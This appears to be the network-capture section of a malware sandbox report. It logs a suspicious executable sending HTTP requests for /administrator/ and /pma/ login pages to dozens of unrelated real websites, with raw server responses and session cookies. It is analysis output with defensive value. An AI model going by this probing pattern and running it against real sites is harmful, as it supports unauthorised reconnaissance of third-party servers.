Nov 26, 2023 06:59:32.636558056 CET	1340	IN	Data Raw: 70 6e 67 22 2c 22 73 76 67 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 30 5c 2f 73 76 67 5c 2f 22 2c 22 73 76 67 45 78 74 22 3a 22 2e 73 Data Ascii: png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/svg\/","svgExt":".svg","source":{"concatemoji":"http:\/\/gccb.co.in\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.4.1"}};/! This file is auto-generated /!function(i,n){var o,
Nov 26, 2023 06:59:32.636571884 CET	1340	IN	Data Raw: 21 31 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 73 65 6c 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 Data Ascii: !1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Ar
Nov 26, 2023 06:59:32.636584044 CET	681	IN	Data Raw: 28 65 29 7b 7d 63 28 6e 3d 66 28 73 2c 75 2c 70 29 29 7d 74 28 6e 29 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 20 69 6e 20 65 29 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 Data Ascii: (e){}c(n=f(s,u,p))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.eve
Nov 26, 2023 06:59:32.636919975 CET	1340	IN	Data Raw: 31 66 34 30 0d 0a 3c 73 74 79 6c 65 20 69 64 3d 27 77 70 2d 65 6d 6f 6a 69 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 0a 09 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 20 69 6d 67 Data Ascii: 1f40<style id='wp-emoji-styles-inline-css' type='text/css'>img.wp-smiley, img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 0
Nov 26, 2023 06:59:32.636934042 CET	1340	IN	Data Raw: 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 69 6d 61 67 65 7b 6d 61 72 67 69 6e 3a 30 20 30 20 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 Data Ascii: gcaption{color:hsla(0,0%,100%,.65)}.wp-block-image{margin:0 0 1em}.wp-block-pullquote{border-bottom:4px solid;border-top:4px solid;color:currentColor;margin-bottom:1.75em}.wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote_
Nov 26, 2023 06:59:32.636946917 CET	1340	IN	Data Raw: 75 6e 64 3a 6e 6f 74 28 2e 69 73 2d 73 74 79 6c 65 2d 64 6f 74 73 29 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 31 70 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 65 70 61 72 61 74 6f 72 2e 68 61 73 2d 62 61 63 6b Data Ascii: und:not(.is-style-dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){height:2px}.wp-block-table{margin:0 0 1em}.wp-block-table td,.wp-block-table th{word-break:normal}.wp-block-table
Nov 26, 2023 06:59:32.636960030 CET	1340	IN	Data Raw: 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 3a 20 23 61 62 62 38 63 33 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 3a 20 23 66 66 66 66 66 66 3b 2d 2d 77 70 2d 2d 70 Data Ascii: eset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-
Nov 26, 2023 06:59:32.636970997 CET	1340	IN	Data Raw: 35 2c 39 38 29 20 38 30 25 2c 72 67 62 28 32 35 34 2c 32 34 38 2c 37 36 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 62 6c 75 73 68 2d 6c 69 67 68 74 2d 70 75 72 70 6c 65 3a 20 6c 69 6e 65 61 72 Data Ascii: 5,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%
Nov 26, 2023 06:59:32.636981964 CET	1340	IN	Data Raw: 30 2c 20 30 2c 20 30 2c 20 30 2e 34 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 68 61 64 6f 77 2d 2d 73 68 61 72 70 3a 20 36 70 78 20 36 70 78 20 30 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 32 29 3b 2d 2d 77 70 2d 2d 70 72 Data Ascii: 0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	55283	178.32.41.233	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.850696087 CET	298	OUT	GET /administrator/index.php HTTP/1.1 Host: rochester-gauges.be Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://rochester-gauges.be/administrator/
Nov 26, 2023 06:59:31.019994974 CET	546	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sun, 26 Nov 2023 05:55:02 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	55306	117.20.63.148	2030	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.851190090 CET	226	OUT	GET /pma/ HTTP/1.1 Host: 117.20.63.148:2030 Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.212794065 CET	417	IN	HTTP/1.1 301 Moved Permanently Server: cwpsrv Date: Sun, 26 Nov 2023 05:59:31 GMT Content-Type: text/html Content-Length: 163 Connection: keep-alive Location: https://117.20.63.148:2031/pma/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 77 70 73 72 76 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cwpsrv</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	55384	74.220.219.189	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.011717081 CET	292	OUT	GET /administrator/index.php HTTP/1.1 Host: himontessori.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://himontessori.com/administrator/
Nov 26, 2023 06:59:31.199327946 CET	280	IN	HTTP/1.1 409 Conflict Date: Sun, 26 Nov 2023 05:59:31 GMT Server: Apache Content-Length: 83 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	55530	103.224.212.226	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.199692011 CET	229	OUT	GET /administrator/ HTTP/1.1 Host: ondania.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.369402885 CET	399	IN	HTTP/1.1 302 Found date: Sun, 26 Nov 2023 05:59:31 GMT server: Apache set-cookie: __tad=1700978371.6189521; expires=Wed, 23-Nov-2033 05:59:31 GMT; Max-Age=315360000 location: http://ww38.ondania.com/administrator/?subid1=20231126-1659-31c6-9eaf-33ea7517d5af content-length: 2 content-type: text/html; charset=UTF-8 connection: close Data Raw: 0a 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	55564	67.205.16.72	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.214641094 CET	230	OUT	GET /administrator/ HTTP/1.1 Host: capforge.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.308168888 CET	497	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:31 GMT Server: Apache Location: https://capforge.com/administrator/ Content-Length: 243 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 61 70 66 6f 72 67 65 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://capforge.com/administrator/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	55542	199.34.228.177	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.235233068 CET	244	OUT	GET /administrator/ HTTP/1.1 Host: gatewaytoearlylearning.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.497771025 CET	1340	IN	HTTP/1.1 301 Moved Permanently Server: nginx Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Date: Sun, 26 Nov 2023 05:59:31 GMT Location: http://www.gatewaytoearlylearning.com/administrator Set-Cookie: publishedsite-xsrf=eyJpdiI6ImNhYy9sMktIODNMVHJ4QnNXMWc1MlE9PSIsInZhbHVlIjoiNVBSeW92czRMYjdrM0NlR05ScmZKVTRrUGZ6bFZjZzY0djdyTHZsNXc0Q3RUaTRSTkZvNnltSk5nb1Zib3VPU21NZkJSVXo2UnFQQ0xUbmlTV0U0TE92dnhhVDdocXdwMkdGV21ZSjdLQVRhSmdSS0ZZTTEyakJOVWxsdzU5SFIiLCJtYWMiOiIxYjMwMjc2ZjNlYjFiMTVjYWNiYjNmMTc2OTczMDdkNzg5MDU4YTRiOTlhMzg2OGRhYTUxYzUyYTk1YzJjMTBhIiwidGFnIjoiIn0%3D; expires=Sun, 10-Dec-2023 05:59:31 GMT; Max-Age=1209600; path=/; samesite=lax Set-Cookie: XSRF-TOKEN=eyJpdiI6ImZ3cHI5OGJaWWdBaVdpWnVhM2xBU2c9PSIsInZhbHVlIjoiMmM1anNYK3VqaENMOXRoTkJCVUpwSnZKQzNPS2o3NFd1ejUxQXViaENFV2FVWllkOXhmbEM3dlVWOW1uOGNia2VDSlFVOWVseDd5UkFEY2gvZVhUbWo0RCtrSnRmUHl4NEtoUW54MFlPUXhLeEVxMUVWaUhpakFnSUhwbjc0aE0iLCJtYWMiOiJiYTFmNTI0NTVkYmE5MWYyNGI2M2I1OWYwOThmNjAzYmJhZmFmMjQ5M2U0YzNiNTZjOTczNWZlMDdlMGEyNzBjIiwidGFnIjoiIn0%3D; expires=Sun, 10-Dec-2023 05:59:31 GMT; Max-Age=1209600; path=/; samesite=lax Set-Cookie: PublishedSiteSession=eyJpdiI6Imc3cnBuWExnUllCRWRFeTdTVnhsMGc9PSIsInZhbHVlIjoib1liWTZEUk1TRnQ2dEhFdW5MeitPWG91VzZkaS9jTjdER0syM2ZGMGExMWw Data Raw: Data Ascii:
Nov 26, 2023 06:59:31.497782946 CET	136	IN	Data Raw: 64 30 74 6a 4c 32 5a 74 53 46 67 35 54 6c 52 4b 64 47 52 48 4b 32 35 33 4d 33 52 70 52 33 5a 48 64 30 35 50 59 33 52 4c 62 55 73 78 4d 45 34 78 56 46 41 78 55 6e 56 61 55 6c 6c 69 61 30 74 49 56 7a 4e 5a 4e 45 74 48 4b 33 68 36 63 32 6f 77 51 32 Data Ascii: d0tjL2ZtSFg5TlRKdGRHK253M3RpR3ZHd05PY3RLbUsxME4xVFAxUnVaUllia0tIVzNZNEtHK3h6c2owQ2
Nov 26, 2023 06:59:31.497792959 CET	431	IN	Data Raw: 77 76 4d 54 6b 78 65 45 68 56 54 54 64 49 64 32 70 51 63 32 4a 6f 4e 47 46 50 65 47 6f 69 4c 43 4a 74 59 57 4d 69 4f 69 4a 6d 59 32 4e 69 4e 7a 49 32 4d 32 4d 33 4e 7a 6b 7a 4e 32 56 6a 5a 57 5a 69 4e 6d 56 68 4d 6a 56 6c 4d 57 45 7a 4e 57 49 35 Data Ascii: wvMTkxeEhVTTdId2pQc2JoNGFPeGoiLCJtYWMiOiJmY2NiNzI2M2M3NzkzN2VjZWZiNmVhMjVlMWEzNWI5ZjRkMGYxMGZmNTRmMjI5ZWFlZTlmMmZmNzA0MzZiY2VjIiwidGFnIjoiIn0%3D; expires=Sun, 10-Dec-2023 05:59:31 GMT; Max-Age=1209600; path=/; httponly; samesite=laxX-Host: b
Nov 26, 2023 06:59:31.497803926 CET	516	IN	Data Raw: 31 63 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d Data Ascii: 1c2<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='http://www.gatewaytoearlylearning.com/administrator'" /> <title>Redirecting to http://www.gatewaytoearlylearnin
Nov 26, 2023 06:59:32.839643002 CET	1406	OUT	GET /administrator/index.php HTTP/1.1 Host: gatewaytoearlylearning.com Accept: / Accept-Encoding: deflate, gzip Cookie: PublishedSiteSession=eyJpdiI6Imc3cnBuWExnUllCRWRFeTdTVnhsMGc9PSIsInZhbHVlIjoib1liWTZEUk1TRnQ2dEhFdW5MeitPWG91VzZkaS9jTjdER0syM2ZGMGExMWwvd0tjL2ZtSFg5TlRKdGRHK253M3RpR3ZHd05PY3RLbUsxME4xVFAxUnVaUllia0tIVzNZNEtHK3h6c2owQ2wvMTkxeEhVTTdId2pQc2JoNGFPeGoiLCJtYWMiOiJmY2NiNzI2M2M3NzkzN2VjZWZiNmVhMjVlMWEzNWI5ZjRkMGYxMGZmNTRmMjI5ZWFlZTlmMmZmNzA0MzZiY2VjIiwidGFnIjoiIn0%3D; publishedsite-xsrf=eyJpdiI6ImNhYy9sMktIODNMVHJ4QnNXMWc1MlE9PSIsInZhbHVlIjoiNVBSeW92czRMYjdrM0NlR05ScmZKVTRrUGZ6bFZjZzY0djdyTHZsNXc0Q3RUaTRSTkZvNnltSk5nb1Zib3VPU21NZkJSVXo2UnFQQ0xUbmlTV0U0TE92dnhhVDdocXdwMkdGV21ZSjdLQVRhSmdSS0ZZTTEyakJOVWxsdzU5SFIiLCJtYWMiOiIxYjMwMjc2ZjNlYjFiMTVjYWNiYjNmMTc2OTczMDdkNzg5MDU4YTRiOTlhMzg2OGRhYTUxYzUyYTk1YzJjMTBhIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6ImZ3cHI5OGJaWWdBaVdpWnVhM2xBU2c9PSIsInZhbHVlIjoiMmM1anNYK3VqaENMOXRoTkJCVUpwSnZKQzNPS2o3NFd1ejUxQXViaENFV2FVWllkOXhmbEM3dlVWOW1uOGNia2VDSlFVOWVseDd5UkFEY2gvZVhUbWo0RCtrSnRmUHl4NEtoUW54MFlPUXhLeEVxMUVWaUhpakFnSUhwbjc0aE0iLCJtYWMiOiJiYTFmNTI0NTVkYmE5MWYyNGI2M2I1OWYwOThmNjAzYmJhZmFmMjQ5M2U0YzNiNTZjOTczNWZlMDdlMGEyNzBjIiwidGFnIjoiIn0%3D User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://www.gatewaytoearlylearning.com/administrator

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	55570	66.235.200.147	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.252456903 CET	234	OUT	GET /administrator/ HTTP/1.1 Host: tradeavenida.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.648561001 CET	533	IN	HTTP/1.1 409 Conflict Date: Sun, 26 Nov 2023 05:59:31 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: MISS Vary: Accept-Encoding Set-Cookie: _cfuvid=IQ6.fXY1gWOcS0XXP8NWpKFrL_Du5qZaKZaXERo9oLg-1700978371562-0-604800000; path=/; domain=.tradeavenida.com; HttpOnly Server: cloudflare CF-RAY: 82bfe7e48f4c060f-IAD Data Raw: 35 33 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 53<script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>
Nov 26, 2023 06:59:31.648571968 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Nov 26, 2023 06:59:31.650980949 CET	379	OUT	GET /administrator/index.php HTTP/1.1 Host: tradeavenida.com Accept: / Accept-Encoding: deflate, gzip Cookie: _cfuvid=IQ6.fXY1gWOcS0XXP8NWpKFrL_Du5qZaKZaXERo9oLg-1700978371562-0-604800000 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://tradeavenida.com/administrator/
Nov 26, 2023 06:59:31.934133053 CET	398	IN	HTTP/1.1 409 Conflict Date: Sun, 26 Nov 2023 05:59:31 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: MISS Vary: Accept-Encoding Server: cloudflare CF-RAY: 82bfe7e70983060f-IAD Data Raw: 35 33 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 53<script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>
Nov 26, 2023 06:59:31.934190989 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	55569	104.21.63.202	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.252684116 CET	228	OUT	GET /administrator/ HTTP/1.1 Host: leeberg.dk Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	55723	185.230.63.186	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.302181959 CET	250	OUT	GET /administrator/ HTTP/1.1 Host: 2brosandahosepressurewashing.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.467055082 CET	892	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:31 GMT Content-Length: 0 Connection: keep-alive location: https://www.2brospw.com/administrator strict-transport-security: max-age=3600 x-wix-request-id: 1700978371.3431035811854118713 Age: 0 Server-Timing: cache;desc=miss, varnish;desc=miss, dc;desc=42 X-Seen-By: VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLkiHzpTYSDRA7u88Ic3Fde4MbwluI1yUDJty9McxOlfY,2d58ifebGbosy5xc+FRalvRpe5d38PZj52JWesmXQd0TlBmTvyXQ1kNDkNgw8duAwconR3pYYaaMJd+wjDqajw==,2UNV7KOq4oGjA5+PKsX47JzIq9ZmP05BQuFbD4KFyTFYgeUJqUXtid+86vZww+nL,WyqNozw2Xgx3ikDivcwNJxYyidTrj7yKAMUEpWCfPK4=,tICdi8CZHCrm4MTs+7a5wtKEvpgNikhb4gXYjLnzCAg=,znHLAI6vxugFKypFMbJjoknx1PdtDhbYJcxyHSEYuIQYDu5ogDwgDHoKLtj+8ynmq7MAIBpTqNY3jZoGLwigEw== Cache-Control: no-cache X-Content-Type-Options: nosniff
Nov 26, 2023 06:59:32.787142038 CET	307	OUT	GET /administrator/index.php HTTP/1.1 Host: 2brosandahosepressurewashing.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.2brospw.com/administrator
Nov 26, 2023 06:59:32.932760954 CET	902	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Length: 0 Connection: keep-alive location: https://www.2brospw.com/administrator/index.php strict-transport-security: max-age=3600 x-wix-request-id: 1700978372.8251035811854218713 Age: 0 Server-Timing: cache;desc=miss, varnish;desc=miss, dc;desc=42 X-Seen-By: VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLkiHzpTYSDRA7u88Ic3Fde4MbwluI1yUDJty9McxOlfY,2d58ifebGbosy5xc+FRalvRpe5d38PZj52JWesmXQd0TlBmTvyXQ1kNDkNgw8duAwconR3pYYaaMJd+wjDqajw==,2UNV7KOq4oGjA5+PKsX47PIHZG7rU4AwWR8fGXl1XwJYgeUJqUXtid+86vZww+nL,dLjSAOnmr1bXQEypprkoCxERGcPkj6D+/nuJQUiypu4=,KWKVLcH06BSVHBU4yeQ12bMSxNw/CTILSKCpF1mrPZQ=,znHLAI6vxugFKypFMbJjog+iPrwMgRA+grqxwY82aOS7ToYUcIEHdkpKKWHX1KtJNY7SLVVQv0TXn1MtuyNR+g== Cache-Control: no-cache X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	55572	34.208.26.152	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.390847921 CET	234	OUT	GET /administrator/ HTTP/1.1 Host: micro-design.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
